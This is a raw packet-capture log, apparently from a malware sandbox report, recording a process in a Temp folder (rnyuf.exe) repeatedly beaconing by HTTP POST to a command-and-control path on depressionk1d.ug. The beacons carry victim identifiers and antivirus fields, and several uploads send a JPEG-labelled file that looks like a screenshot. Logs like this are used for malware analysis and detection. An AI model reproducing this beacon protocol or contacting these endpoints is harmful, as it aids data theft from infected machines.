20 6d 65 73 73 61 67 65 73 20 61 72 65 20 63 65 6e 73 6f 72 65 64 20 62 79 20 64 65 66 61 75 6c 74 2e 0a 20 20 20 2d 20 49 49 53 20 61 6c 77 61 79 73 20 72 65 74 75 72 6e 73 20 65 72 72 6f 72 20 6d 65 73 73 61 67 65 73 20 74 68 61 74 20 61 72 65 20 6c 6f 6e 67 0a 20 20 20 2d 20 65 6e 6f 75 67 68 20 74 6f 20 6d 61 6b 65 20 49 6e 74 65 72 6e 65 74 20 45 78 70 6c 6f 72 65 72 20 68 61 70 70 79 2e 20 54 68 65 0a 20 20 20 2d 20 77 6f 72 6b 61 72 6f 75 6e 64 20 69 73 20 70 72 65 74 74 79 20 73 69 6d 70 6c 65 3a 20 70 61 64 20 74 68 65 20 65 72 72 6f 72 0a 20 20 20 2d 20 6d 65 73 73 61 67 65 20 77 69 74 68 20 61 20 62 69 67 20 63 6f 6d 6d 65 6e 74 20 6c 69 6b 65 20 74 68 69 73 20 74 6f 20 70 75 73 68 20 69 74 0a 20 20 20 2d 20 6f 76 65 72 20 74 68 65 20 66 69 76 65 20 Data Ascii: <HTML><HEAD><title>503 Service Temporarily Unavailable - </title><meta http-equiv="Content-Type" content="text/html; charset=windows-1251"><link rel="icon" href="/favicon5536fc9343e9ab0aca071354084dd3cc.ico" type="image/x-icon" /><link rel="shortcut icon" href="/favicon5536fc9343e9ab0aca071354084dd3cc.ico" type="image/x-icon" /></HEAD><BODY><center><H1>503 Service Temporarily Unavailable<br> </H1></BODY></HTML>... - Unfortunately, Microsoft has added a clever new - "feature" to Internet Explorer. If the text of - an error's message is "too small", specifically - less than 512 bytes, Internet Explorer returns - its own error message. You can turn that off, - but it's pretty tricky to find switch called - "smart error messages". That means, of course, - that short error messages are censored by default. - IIS always returns error messages that are long - enough to make Internet Explorer happy. The - workaround is pretty simple: pad the error - message with a big comment like this to push it - over the five
Nov 12, 2021 22:24:30.942732096 CET	17087	IN	Data Raw: 68 75 6e 64 72 65 64 20 61 6e 64 20 74 77 65 6c 76 65 20 62 79 74 65 73 20 6d 69 6e 69 6d 75 6d 2e 0a 20 20 20 2d 20 4f 66 20 63 6f 75 72 73 65 2c 20 74 68 61 74 27 73 20 65 78 61 63 74 6c 79 20 77 68 61 74 20 79 6f 75 27 72 65 20 72 65 61 64 69 Data Ascii: hundred and twelve bytes minimum. - Of course, that's exactly what you're reading - right now. -->

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
354	192.168.2.4	50182	178.208.83.45	80	C:\Users\user\AppData\Local\Temp\5c436eadc6\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Nov 12, 2021 22:24:31.078808069 CET	17107	OUT	POST /k8FppT/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: depressionk1d.ug Content-Length: 82 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
Nov 12, 2021 22:24:31.106281996 CET	17108	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 12 Nov 2021 21:24:31 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Keep-Alive: timeout=5 Vary: Accept-Encoding X-Powered-By: PHP/5.6.37 Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
355	192.168.2.4	50183	178.208.83.45	80	C:\Users\user\AppData\Local\Temp\5c436eadc6\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Nov 12, 2021 22:24:31.248143911 CET	17108	OUT	POST /k8FppT/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: depressionk1d.ug Content-Length: 82 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
Nov 12, 2021 22:24:31.273669958 CET	17109	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 12 Nov 2021 21:24:31 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Keep-Alive: timeout=5 Vary: Accept-Encoding X-Powered-By: PHP/5.6.37 Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
356	192.168.2.4	50184	178.208.83.45	80	C:\Users\user\AppData\Local\Temp\5c436eadc6\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Nov 12, 2021 22:24:31.405376911 CET	17109	OUT	POST /k8FppT/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: depressionk1d.ug Content-Length: 82 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
Nov 12, 2021 22:24:31.431638956 CET	17110	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 12 Nov 2021 21:24:31 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Keep-Alive: timeout=5 Vary: Accept-Encoding X-Powered-By: PHP/5.6.37 Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
357	192.168.2.4	50185	178.208.83.45	80	C:\Users\user\AppData\Local\Temp\5c436eadc6\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Nov 12, 2021 22:24:31.561638117 CET	17111	OUT	POST /k8FppT/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: depressionk1d.ug Content-Length: 82 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
Nov 12, 2021 22:24:31.584351063 CET	17112	IN	HTTP/1.1 503 Service Temporarily Unavailable Server: nginx Date: Fri, 12 Nov 2021 21:24:31 GMT Content-Type: text/html Content-Length: 1230 Connection: keep-alive Keep-Alive: timeout=5 ETag: "5a4b7cd2-4ce" Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 74 69 74 6c 65 3e 35 30 33 20 53 65 72 76 69 63 65 20 54 65 6d 70 6f 72 61 72 69 6c 79 20 55 6e 61 76 61 69 6c 61 62 6c 65 20 2d 20 d1 eb f3 e6 e1 e0 20 e2 f0 e5 ec e5 ed ed ee 20 ed e5 e4 ee f1 f2 f3 ef ed e0 3c 2f 74 69 74 6c 65 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 77 69 6e 64 6f 77 73 2d 31 32 35 31 22 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 69 63 6f 6e 22 20 68 72 65 66 3d 22 2f 66 61 76 69 63 6f 6e 35 35 33 36 66 63 39 33 34 33 65 39 61 62 30 61 63 61 30 37 31 33 35 34 30 38 34 64 64 33 63 63 2e 69 63 6f 22 20 74 79 70 65 3d 22 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 22 20 2f 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 68 6f 72 74 63 75 74 20 69 63 6f 6e 22 20 68 72 65 66 3d 22 2f 66 61 76 69 63 6f 6e 35 35 33 36 66 63 39 33 34 33 65 39 61 62 30 61 63 61 30 37 31 33 35 34 30 38 34 64 64 33 63 63 2e 69 63 6f 22 20 74 79 70 65 3d 22 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 22 20 2f 3e 0a 3c 2f 48 45 41 44 3e 0a 3c 42 4f 44 59 3e 0a 3c 63 65 6e 74 65 72 3e 0a 3c 48 31 3e 35 30 33 20 53 65 72 76 69 63 65 20 54 65 6d 70 6f 72 61 72 69 6c 79 20 55 6e 61 76 61 69 6c 61 62 6c 65 3c 62 72 3e d1 eb f3 e6 e1 e0 20 e2 f0 e5 ec e5 ed ed ee 20 ed e5 e4 ee f1 f2 f3 ef ed e0 3c 2f 48 31 3e 0a 3c 2f 42 4f 44 59 3e 0a 3c 2f 48 54 4d 4c 3e 0a 3c 21 2d 2d 0a 20 20 20 2d 20 55 6e 66 6f 72 74 75 6e 61 74 65 6c 79 2c 20 4d 69 63 72 6f 73 6f 66 74 20 68 61 73 20 61 64 64 65 64 20 61 20 63 6c 65 76 65 72 20 6e 65 77 0a 20 20 20 2d 20 22 66 65 61 74 75 72 65 22 20 74 6f 20 49 6e 74 65 72 6e 65 74 20 45 78 70 6c 6f 72 65 72 2e 20 49 66 20 74 68 65 20 74 65 78 74 20 6f 66 0a 20 20 20 2d 20 61 6e 20 65 72 72 6f 72 27 73 20 6d 65 73 73 61 67 65 20 69 73 20 22 74 6f 6f 20 73 6d 61 6c 6c 22 2c 20 73 70 65 63 69 66 69 63 61 6c 6c 79 0a 20 20 20 2d 20 6c 65 73 73 20 74 68 61 6e 20 35 31 32 20 62 79 74 65 73 2c 20 49 6e 74 65 72 6e 65 74 20 45 78 70 6c 6f 72 65 72 20 72 65 74 75 72 6e 73 0a 20 20 20 2d 20 69 74 73 20 6f 77 6e 20 65 72 72 6f 72 20 6d 65 73 73 61 67 65 2e 20 59 6f 75 20 63 61 6e 20 74 75 72 6e 20 74 68 61 74 20 6f 66 66 2c 0a 20 20 20 2d 20 62 75 74 20 69 74 27 73 20 70 72 65 74 74 79 20 74 72 69 63 6b 79 20 74 6f 20 66 69 6e 64 20 73 77 69 74 63 68 20 63 61 6c 6c 65 64 0a 20 20 20 2d 20 22 73 6d 61 72 74 20 65 72 72 6f 72 20 6d 65 73 73 61 67 65 73 22 2e 20 54 68 61 74 20 6d 65 61 6e 73 2c 20 6f 66 20 63 6f 75 72 73 65 2c 0a 20 20 20 2d 20 74 68 61 74 20 73 68 6f 72 74 20 65 72 72 6f 72 20 6d 65 73 73 61 67 65 73 20 61 72 65 20 63 65 6e 73 6f 72 65 64 20 62 79 20 64 65 66 61 75 6c 74 2e 0a 20 20 20 2d 20 49 49 53 20 61 6c 77 61 79 73 20 72 65 74 75 72 6e 73 20 65 72 72 6f 72 20 6d 65 73 73 61 67 65 73 20 74 68 61 74 20 61 72 65 20 6c 6f 6e 67 0a 20 20 20 2d 20 65 6e 6f 75 67 68 20 74 6f 20 6d 61 6b 65 20 49 6e 74 65 72 6e 65 74 20 45 78 70 6c 6f 72 65 72 20 68 61 70 70 79 2e 20 54 68 65 0a 20 20 20 2d 20 77 6f 72 6b 61 72 6f 75 6e 64 20 69 73 20 70 72 65 74 74 79 20 73 69 6d 70 6c 65 3a 20 70 61 64 20 74 68 65 20 65 72 72 6f 72 0a 20 20 20 2d 20 6d 65 73 73 61 67 65 20 77 69 74 68 20 61 20 62 69 67 20 63 6f 6d 6d 65 6e 74 20 6c 69 6b 65 20 74 68 69 73 20 74 6f 20 70 75 73 68 20 69 74 0a 20 20 20 2d 20 6f 76 65 72 20 74 68 65 20 66 69 76 65 20 Data Ascii: <HTML><HEAD><title>503 Service Temporarily Unavailable - </title><meta http-equiv="Content-Type" content="text/html; charset=windows-1251"><link rel="icon" href="/favicon5536fc9343e9ab0aca071354084dd3cc.ico" type="image/x-icon" /><link rel="shortcut icon" href="/favicon5536fc9343e9ab0aca071354084dd3cc.ico" type="image/x-icon" /></HEAD><BODY><center><H1>503 Service Temporarily Unavailable<br> </H1></BODY></HTML>... - Unfortunately, Microsoft has added a clever new - "feature" to Internet Explorer. If the text of - an error's message is "too small", specifically - less than 512 bytes, Internet Explorer returns - its own error message. You can turn that off, - but it's pretty tricky to find switch called - "smart error messages". That means, of course, - that short error messages are censored by default. - IIS always returns error messages that are long - enough to make Internet Explorer happy. The - workaround is pretty simple: pad the error - message with a big comment like this to push it - over the five
Nov 12, 2021 22:24:31.584368944 CET	17112	IN	Data Raw: 68 75 6e 64 72 65 64 20 61 6e 64 20 74 77 65 6c 76 65 20 62 79 74 65 73 20 6d 69 6e 69 6d 75 6d 2e 0a 20 20 20 2d 20 4f 66 20 63 6f 75 72 73 65 2c 20 74 68 61 74 27 73 20 65 78 61 63 74 6c 79 20 77 68 61 74 20 79 6f 75 27 72 65 20 72 65 61 64 69 Data Ascii: hundred and twelve bytes minimum. - Of course, that's exactly what you're reading - right now. -->

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
358	192.168.2.4	50186	178.208.83.45	80	C:\Users\user\AppData\Local\Temp\5c436eadc6\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Nov 12, 2021 22:24:31.716537952 CET	17113	OUT	POST /k8FppT/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: depressionk1d.ug Content-Length: 82 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
359	192.168.2.4	50187	178.208.83.45	80	C:\Users\user\AppData\Local\Temp\5c436eadc6\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Nov 12, 2021 22:24:32.009289980 CET	17113	OUT	POST /k8FppT/index.php?scr=1 HTTP/1.1 Content-Type: multipart/form-data; boundary=----db1a118290543eba3f3170fd42f2b8f5 Host: depressionk1d.ug Content-Length: 106671 Cache-Control: no-cache
Nov 12, 2021 22:24:32.009524107 CET	17113	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 64 62 31 61 31 31 38 32 39 30 35 34 33 65 62 61 33 66 33 31 37 30 66 64 34 32 66 32 62 38 66 35 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 61 74 61 Data Ascii: ------db1a118290543eba3f3170fd42f2b8f5Content-Disposition: form-data; name="data"; filename="152138533219.jpg"Content-Type: application/octet-stream
Nov 12, 2021 22:24:32.009768009 CET	17124	OUT	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff db 00 43 00 08 06 06 07 06 05 08 07 07 07 09 09 08 0a 0c 14 0d 0c 0b 0b 0c 19 12 13 0f 14 1d 1a 1f 1e 1d 1a 1c 1c 20 24 2e 27 20 22 2c 23 1c 1c 28 37 29 2c 30 31 34 34 34 1f 27 39 3d Data Ascii: JFIF``C $.' ",#(7),01444'9=82<.342C2!!22222222222222222222222222222222222222222222222222"}!1A
Nov 12, 2021 22:24:32.009882927 CET	17126	OUT	Data Raw: c9 35 0e b5 35 bb 21 ce 2b a9 95 45 49 34 7e 54 f2 47 9c ec 62 b9 f5 c5 47 5a 27 72 82 8a 5a 28 01 28 a5 a2 80 12 96 97 14 62 80 12 8a 5a 3b d0 02 51 4b 45 31 06 28 a0 52 d1 60 12 8a 5a 50 29 88 4c 52 d1 8a 0d 00 14 51 8a 5a 00 4c 51 8a 5c 51 8a Data Ascii: 55!+EI4~TGbGZ'rZ((bZ;QKE1(R`ZP)LRQZLQ\QaqR@%((4QJ)h1@KEc4SbF(\e.=iamR,.(cq.)hIv(Qv))X.'4sF(Z9ME4\PE6Z)XbQKE%Q`REJ)iCI
Nov 12, 2021 22:24:32.032419920 CET	17134	OUT	Data Raw: 42 41 c1 e0 f2 2b ca a9 1e 6a 95 17 9a fc 91 ee aa 9e ce 96 1e 76 4e d1 7b ff 00 8e 64 1a 07 87 e1 d2 2d 33 2a c7 2d ec 8c 64 9a 6c 64 ee 3d 81 3c e0 74 1f 9d 2d c7 85 f4 bb 99 fc c6 8a 55 46 90 48 f0 47 33 2c 4e c3 9c b2 03 82 6b 8a 3a ff 00 88 Data Ascii: BA+jvN{d-3*-dld=<t-UFHG3,Nk:,v\]Gw$V5g]/'7mB&f\c/gr34"NlbI?Z"0Lt?EWqQ@%PRS(J3@Q
Nov 12, 2021 22:24:32.032459974 CET	17137	OUT	Data Raw: 4a 00 43 4c 27 34 e2 73 4d a4 c6 86 56 cf 86 7f e4 25 27 fd 71 3f cc 56 2d 6d 78 67 fe 42 52 7f d7 13 fc c5 6b 85 fe 34 4c b1 7f c1 91 d5 d6 ff 00 87 3c 21 a9 f8 96 4d d6 c8 23 b6 53 87 b8 93 ee 83 e8 3d 4d 65 e9 96 2f a9 ea 96 d6 48 42 99 a4 09 Data Ascii: JCL'4sMV%'q?V-mxgBRk4L<!M#S=Me/HBQ=uG1PimFU'j^7:Q=pXxUwek->uBHwh-$c>*%K+ l=1^Khh.Fz5Zu$(bi
Nov 12, 2021 22:24:32.032468081 CET	17140	OUT	Data Raw: 8a 5a 5c 53 24 4c 52 81 4a 05 2e 29 89 b1 b4 62 9f 8a 31 45 85 71 98 a5 c5 3b 14 b8 a7 60 b8 dc 51 b6 9f 8a 5c 53 b0 ae 33 6d 1b 6a 4d b4 6d a7 61 73 11 ed a3 6d 4b 8a 36 d1 ca 1c c4 3b 28 2b 53 ed a4 db 4f 94 39 88 0a d3 4a d5 82 b4 85 2a 79 46 Data Ascii: Z\S$LRJ.)b1Eq;`Q\S3mjMmasmK6;(+SO9JyFV+M)VJJTVI)HVV+L)RZ9ZiiSL"""RM"&0LSIRUE!PwE!Ph7CJ\|lx_BJ:5i1\|xss7RM
Nov 12, 2021 22:24:32.033642054 CET	17152	OUT	Data Raw: 55 6d 3a 39 6d 6d 34 c3 76 3c 3b 2c e8 f7 b1 c1 e5 f9 a2 f8 a6 f6 33 7c 99 db f2 e5 bb 71 5c 6d dd e5 c5 fd c9 b8 b9 31 6f 20 28 58 a1 48 91 40 ec 11 00 55 1f 41 4f 1a 96 a2 b6 e6 d9 6e b1 01 b5 36 65 3c b5 ff 00 52 64 f3 4a e7 19 fb fc e7 af 6c Data Ascii: Um:9mm4v<;,3\|q\m1o (XH@UAOn6e<RdJl$heJZ.'<-'aU[*S,07EWu.~PskKm\y$/4I(6%f\tw7Vr[bi#@xl z-$Ke8K.#$dT
Nov 12, 2021 22:24:32.055291891 CET	17158	OUT	Data Raw: 9a 70 aa 44 b1 f4 52 52 d5 12 38 53 81 a6 0a 75 52 25 a2 50 78 a7 e6 a2 06 9c 0d 5a 64 34 48 0d 3c 1a 88 1e 69 cb 56 99 0d 13 03 4f 06 a1 14 fc d5 a6 66 d1 26 68 06 99 9a 50 6a ae 2b 12 06 a7 87 a8 41 a7 83 4d 32 5a 25 0f ef 4f 0f 50 03 4a 0d 51 Data Ascii: pDRR8SuR%PxZd4H<iVOf&hPj+AM2Z%OPJQ%!ETPjpErrMS;u#<zNJy^]67Nh+IlFf!Ua9T]H4kzp)U4aD{STQ{8VHma=8/lNt.8
Nov 12, 2021 22:24:32.055377007 CET	17173	OUT	Data Raw: af 69 17 b3 17 b1 9a dd 11 81 9a 90 51 b4 8a 50 33 45 ca 51 68 75 28 a4 c5 38 0a 9b 94 28 a7 52 01 4a 05 4b 2d 21 40 a7 81 4d 02 9e 2a 59 68 70 1c 57 15 f1 04 ff 00 c4 ba 3f fa ea 3f 91 ae d8 57 0f f1 04 ff 00 c4 bd 3f eb b0 fe 54 e9 ee 57 54 78 Data Ascii: iQP3EQhu(8(RJK-!@MYhpW??W?TWTx-&)=y#]t/<_{_)+4dG+u,C}?Z1?T,g8GeYo-5_3bMVF?og
Nov 12, 2021 22:24:32.055412054 CET	17179	OUT	Data Raw: 34 fe b0 fb 69 7b 7e 2f fe 1f fe 18 1e 1d 5e d7 fe bf ad 3d 4e 7e 2d 1b 55 9a c1 6f e2 d2 ef a4 b3 66 08 b7 09 6e e6 32 c4 ed 00 30 18 ce 78 c7 af 15 0c 76 37 93 cc f0 c3 69 71 24 a8 c1 1e 34 89 8b 2b 16 0a 01 00 64 12 c4 0c 7a 9c 56 ef 8a b4 dd Data Ascii: 4i{~/^=N~-Uofn20xv7iq$4+dzVrMf]o4Ffr3[lqx[RSR=+]v/CIa.usFXzqU5'4/."{6FUf<x:j:h%i

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
36	192.168.2.4	49820	178.208.83.45	80	C:\Users\user\AppData\Local\Temp\5c436eadc6\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Nov 12, 2021 22:23:30.619368076 CET	4008	OUT	POST /k8FppT/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: depressionk1d.ug Content-Length: 82 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
Nov 12, 2021 22:23:30.644920111 CET	4008	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 12 Nov 2021 21:23:30 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Keep-Alive: timeout=5 Vary: Accept-Encoding X-Powered-By: PHP/5.6.37 Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0
Nov 12, 2021 22:23:30.688385963 CET	4008	OUT	POST /k8FppT/index.php?scr=1 HTTP/1.1 Content-Type: multipart/form-data; boundary=----ef6c84ac469cc5c9e34c56f18531b7d7 Host: depressionk1d.ug Content-Length: 108941 Cache-Control: no-cache
Nov 12, 2021 22:23:30.688539982 CET	4009	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 65 66 36 63 38 34 61 63 34 36 39 63 63 35 63 39 65 33 34 63 35 36 66 31 38 35 33 31 62 37 64 37 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 61 74 61 Data Ascii: ------ef6c84ac469cc5c9e34c56f18531b7d7Content-Disposition: form-data; name="data"; filename="152138533219.jpg"Content-Type: application/octet-stream
Nov 12, 2021 22:23:30.688755989 CET	4019	OUT	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff db 00 43 00 08 06 06 07 06 05 08 07 07 07 09 09 08 0a 0c 14 0d 0c 0b 0b 0c 19 12 13 0f 14 1d 1a 1f 1e 1d 1a 1c 1c 20 24 2e 27 20 22 2c 23 1c 1c 28 37 29 2c 30 31 34 34 34 1f 27 39 3d Data Ascii: JFIF``C $.' ",#(7),01444'9=82<.342C2!!22222222222222222222222222222222222222222222222222"}!1A
Nov 12, 2021 22:23:30.688886881 CET	4021	OUT	Data Raw: ed a0 ad 16 0b 8c a5 a3 6d 18 34 86 14 87 ad 2d 14 c4 25 2d 14 0a 06 14 51 41 a0 41 45 2a ab 31 c2 a9 27 d0 0a b2 9a 75 e4 9f 76 dd ff 00 e0 43 1f ce 84 9b d8 2e 55 a2 b4 93 44 ba 6f bc 63 4f a9 cf f2 aa d7 b6 86 ca 65 8c b8 62 57 76 40 c7 73 fe Data Ascii: m4-%-QAAE1'uvC.UDocOebWv@sNJhEvQE(((C@EPK@RHqlU a5dZ?y#v1\AE-R@KK1@E-(P)hE-(&)h(-&(.(0
Nov 12, 2021 22:23:30.711074114 CET	4027	OUT	Data Raw: e1 ed 71 ec 61 bc d2 e6 99 a3 b1 bf 8c c6 ec 0f fa a6 23 01 fe 9d 8f a8 ad bf f8 55 5a e7 fc fd e9 df f7 f1 ff 00 f8 8a 3f e1 55 eb 9f f3 f7 a7 7f df c7 ff 00 e2 2b df 78 8c 1f 27 b3 e6 56 3e 75 61 f1 9c fe d3 95 dc d0 f0 77 88 26 b9 bb d2 b4 2b Data Ascii: qa#UZ?U+x'V>uaw&++1\PA>W\|n/z\|/[EuqfCp(Tc*=GzQhyIU;GEP/E^4.J9\aAdq~?.J
Nov 12, 2021 22:23:30.711117029 CET	4032	OUT	Data Raw: cd 17 b1 5a 03 2b 47 74 64 72 64 90 2e 4f cc 9b 30 e7 82 17 19 e2 b6 34 4b 5b 7b 4d 32 c7 49 d4 75 cb 2b 49 35 b3 33 de 43 30 99 e4 75 70 63 81 83 22 32 70 e1 9c 65 87 50 7d eb ce bc a5 f4 a0 42 80 74 eb 4d d1 6d 38 f4 62 55 52 7c dd 51 e9 90 af Data Ascii: Z+Gtdrd.O04K[{M2Iu+I53C0upc"2peP}BtMm8bUR\|Q{sMm<goN+G3CIm)(n$98XB):b3%V-Y/[b-.U#\t<\|G>ZcTN{jc+_A(QE)E@F(QEQE
Nov 12, 2021 22:23:30.711195946 CET	4037	OUT	Data Raw: 09 34 1d 3a 58 56 16 8a 51 10 2e 4a 25 c4 8a af b9 8b 30 60 1b 0c 09 27 83 91 c9 a3 a0 75 32 12 fe 79 35 c7 ba 96 39 1e ca 3b a4 b5 89 d2 ed 90 02 c8 b8 3e 50 1b 5c 12 dd 58 e4 67 81 c5 3b c5 3a ba 5a 5c 41 6c ba 94 36 72 c5 1b 5d e1 e6 58 fc d2 Data Ascii: 4:XVQ.J%0`'u2y59;>P\Xg;:Z\Al6r]X,\|CUt{~Aa&@vU;Q14CI\{u==h[9>'LXVp\CShwwW~$&yKoos 7ZiQK1<fYqAd1,9b@
Nov 12, 2021 22:23:30.711316109 CET	4043	OUT	Data Raw: db 65 64 2e 32 c4 9e 1b bd 59 ba f1 46 b7 79 77 f6 c9 66 b3 17 67 cc dd 3c 56 10 47 23 ef 42 8d b9 95 01 6c ab 11 ce 7a e7 ad 3f 67 57 5e fe f7 e3 b7 dc 39 54 a6 d9 ad 35 ac 1a 57 86 f5 4d 67 4e 82 09 ad a5 b8 b3 9b 4e 9a e6 dd 25 d9 1b 89 c3 c6 Data Ascii: ed.2YFywfg<VG#Blz?gW^9T5WMgNN%CV]9>zh<Akv[h(BKrW8qQB}n1nT#C<j-t80Q~!~fzUli0HPJLO X`&
Nov 12, 2021 22:23:30.711352110 CET	4048	OUT	Data Raw: 0b 7d 77 30 fe 40 57 b8 57 ce de 3a d5 d3 59 f1 7d f5 c4 4c 1a 08 d8 43 11 1d 08 51 8c fe 27 27 f1 af 85 e1 aa 72 96 2d c9 6c 97 e6 7d 0e 6b 24 a8 a5 dd 9c e1 a4 a5 a2 be ec f9 e1 29 d8 a4 a5 a6 23 eb bd 30 ff 00 c4 a2 cb fe b8 27 fe 82 2a 08 0e Data Ascii: }w0@WW:Y}LCQ''r-l}k$)#0'}]ZOm#>nU9V#w.Qg\A[E$me?M$E;;~3:(Iv<7Z4my(;KqY^,[Z}lZA1WR{5`Om}sUomb>
Nov 12, 2021 22:23:30.733799934 CET	4054	OUT	Data Raw: fd b9 33 78 2f fe 11 d9 6c d1 d8 4d 1b a5 e6 fc 3a c6 9b c8 8c 8c 72 03 48 c4 1c f1 92 3d 30 f1 af cb fd b3 6f a8 7d 8a 36 48 ac 23 b0 96 de 47 25 66 8c 44 22 6c 91 82 37 0c 9e 3a 1f 5c 55 7e fe ef fa e9 fe 64 3f 63 fd 7a ff 00 95 cb 96 d0 78 7b Data Ascii: 3x/lM:rH=0o}6H#G%fD"l7:\U~d?czx{PtkYZ[\F5r!*$FnTPyB_GC]i6z4uXXKS6F_M8q{rKL5_Xm-bKU
